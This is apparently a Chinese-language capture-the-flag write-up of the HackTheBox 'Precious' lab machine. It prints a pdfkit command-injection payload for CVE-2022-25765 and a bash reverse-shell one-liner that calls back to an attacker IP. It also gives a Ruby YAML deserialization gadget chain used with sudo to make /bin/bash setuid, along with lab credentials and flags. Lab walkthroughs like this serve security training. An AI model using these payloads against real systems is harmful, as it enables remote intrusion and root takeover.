HTB 靶机 Precious
Drunkbaby Lv6

HTB 靶机 Precious

0x01 靶机攻破记录

nmap 探测存活

目标 IP 10.10.11.189,先 nmap 进行扫描

扫出来两个端口,一个 22 端口,另外一个是 80 端口,并且显示 80 端口重定向到 precious.htb,这就想到了 TCTF 上有道题目,就是要我们在 /etc/hosts 中将 IP 与域名设置对应关系。

打开 /etc/hosts 添加对应域名

此时访问 10.10.11.189 就会自动重定向到 http://precious.htb/

web 界面渗透

界面如图,明显是一个将 Web 界面转换为 PDF 的网站

我们在本地先开一个 777 的端口,让这个 Web 界面转换为的 PDF 的功能点访问

如图,现在的 Web 界面确实变成了图片,我们可以将图片下载下来进行分析

将 PDF 下载下来之后对其进行分析,用的工具是 exiftool,这个工具之前在文件上传打的时候也用到过

其中获得到的有用信息是最后一句,Generated by pdfkit v0.8.6,我们去检索关于 pdfkit v0.8.6 的相关漏洞,发现存在对应 CVE,编号为 CVE-2022-25765

CVE-2022-25765 漏洞利用

https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795

这个漏洞的意思就是,我们的输入需要是正常 URL 开头,而参数 ?name 存在命令执行的漏洞,漏洞利用 payload 如下

1
http://10.10.14.64?name=%20`whoami`

尝试弹 shell

1
?name=%20`bash -c "sh -i >& /dev/tcp/10.10.14.64/9999 0>&1"`'}

虽然拿到了 shell,但是没找到 flag 所在的地方。在经过一系列操作后,发现我们目前的用户是 ruby,但是还有一个用户叫 henry,henry 所在的文件夹中存在一个 user.txt,没有 root 权限打不开

  • 当时这一步卡住了,太没有经验了,其实不一定是必须要提权,我们想办法横移去搞到 henry 的密码其实也是可以的

横移,获取 henry 密码并提权

/home/ruby/.bundle 目录下发现一个 config 文件,里面有 henry 账号的用户和密码

1
henry:Q3c1AqGHtoI0aXAYFH

因为拿到了用户名密码,所以这里可以直接用 ssh 登录,经过之前 nmap 的扫描结果,22 端口是开着的

henry 目录下有一个 user.txt,cat 之后没有特别搞懂这个东西有啥用

1
2
henry@precious:~$ cat user.txt
6a8b54de52c4dfcffd10de2ddebe27d7

这里拿的 user.txt 并不是成为 root 的密码,感觉不知道有啥用,但是先看看成为 henry 之后是否能拥有一些命令的权限

发现有一个 .rb 的文件是需要 root 权限,但是用户 henry 也可以运行的,我们 cat 一下看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
  • 看到 yaml.load(),一眼 yaml 类型的反序列化漏洞,猜测可能是个 ruby 里面提权的漏洞吧?搜索一下相关资料。通过 google 发现,ruby yaml 有一个反序列化的漏洞

payload为

1
https://gist.github.com/staaldraad/89dffe369e1454eedd3306edc8a7e565#file-ruby_yaml_load_sploit2-yaml

在这里程序调用的是 dependencies.yml,所以我们需要把 payload 放进去

dependencies..yml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id
method_id: :resolve

git_set: id 这里就是命令执行

这里把 dependencies.yml 保存到了 /home/henry 下其实不太理解,因为并不是在同一路径,不过这样居然也可行,执行 ruby 文件

1
sudo /usr/bin/ruby /opt/update_dependencies.rb
  • 可以看到这里成功进行命令执行了

那么对于我们来说,这个命令执行一般就是提权用的,替换如下

1
git_set: "chmod +s /bin/bash"

成功提权了!

拿下

1
root:4eca6a2b2f7eb9a4a00ebbbbc66a889a

提交此 hash 即可

0x02 小结

挺有意思的一道入门题,拓宽了很多视线,提权不一定完全需要 Linux 内部版本漏洞提权,也可以是一些代码的提权。并且从外网打进来的方式也很骚,这种方式打的太骚了。

 评论